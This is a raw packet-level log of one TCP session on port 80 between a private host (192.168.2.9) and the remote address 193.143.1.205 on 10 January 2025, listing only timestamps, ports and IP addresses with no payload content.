Jan 10, 2025 20:03:01.934866905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934890985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934909105 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934921980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934942007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934947014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934971094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934993982 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935003996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935022116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935034037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935066938 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935075998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935096979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935106993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935110092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935121059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935148001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935148001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935173035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935178041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935197115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935211897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935236931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935266018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935266018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935297012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935352087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935368061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935395956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935416937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935421944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935439110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935451984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935465097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935483932 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935487986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935503006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935523987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935524940 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935548067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935556889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935568094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935580015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935590982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935611010 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935612917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935638905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935640097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935661077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935667992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935679913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935692072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935710907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935714006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935738087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935739040 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935750961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935764074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935775042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935795069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935802937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.935828924 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.935935020 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936072111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936089993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936101913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936114073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936125994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936146975 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936151028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936175108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936178923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936208963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936208963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936222076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936233044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936252117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936259985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936284065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936284065 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936297894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936309099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936332941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.936338902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.936369896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.938071012 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.950598955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950628996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950639963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950651884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950731993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950752020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950764894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950778008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950790882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.950800896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.951189041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.951776981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.951798916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.951808929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.951821089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.951853037 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.951900005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953501940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953515053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953551054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953552961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953561068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953572989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953589916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953599930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953635931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953660011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953670025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953696966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953705072 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953710079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953723907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953737974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953743935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953752041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.953768969 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.953794956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.955943108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.979259014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979295969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979310036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979334116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979346991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979362965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979377031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979381084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.979393005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.979439974 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.979451895 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.010981083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011013985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011032104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011044979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011058092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011073112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011087894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011091948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011101961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011120081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011137962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011140108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011149883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011161089 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011168957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011169910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011183977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011195898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011209011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011214972 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011224031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011243105 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011269093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011269093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011281967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011308908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011333942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011337042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011351109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011363983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011378050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011389971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.011398077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.011426926 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027232885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027262926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027292013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027306080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027331114 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027369022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027405977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027420044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027434111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027458906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027468920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027477026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027482033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027498960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027508020 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027510881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027525902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027532101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027543068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027553082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027554035 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027576923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027575016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027589083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027606964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027620077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027621984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027635098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027648926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027648926 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027668953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027673960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027688980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027702093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027714014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027714968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027729034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027739048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027753115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027764082 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027766943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027779102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027791023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027813911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027817011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027834892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027846098 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027851105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027862072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027874947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027878046 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027885914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027899981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027900934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027915001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027926922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027929068 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027968884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.027975082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027987003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.027997971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028009892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028023958 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028024912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028038025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028038979 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028063059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028069973 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028114080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028121948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028134108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028146029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028167009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028172970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028179884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028196096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028207064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028214931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028228045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028234959 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028261900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028273106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028280020 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028311968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028462887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028485060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028497934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028511047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028523922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028534889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028542995 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028548002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028561115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028573036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028573990 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028585911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028601885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028611898 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028615952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.028640032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.028652906 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.043176889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043196917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043210030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043222904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043236971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043247938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043257952 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.043260098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043273926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043287039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043299913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043320894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043325901 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.043333054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043348074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043349028 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.043359995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.043401003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.043422937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.046098948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046113968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046125889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046139002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046154976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046166897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046171904 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.046175003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.046184063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.046224117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.071558952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071614027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.071650028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071664095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071676970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071690083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071702003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071705103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.071715117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071722984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.071728945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.071767092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103348970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103379965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103390932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103410959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103424072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103440046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103446960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103451967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103473902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103486061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103493929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103498936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103511095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103518963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103527069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103543997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103555918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103557110 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103576899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103583097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103593111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103607893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103617907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103629112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103640079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103647947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103660107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103671074 CET	80	49707	193.143.1.205	192.168.2.9
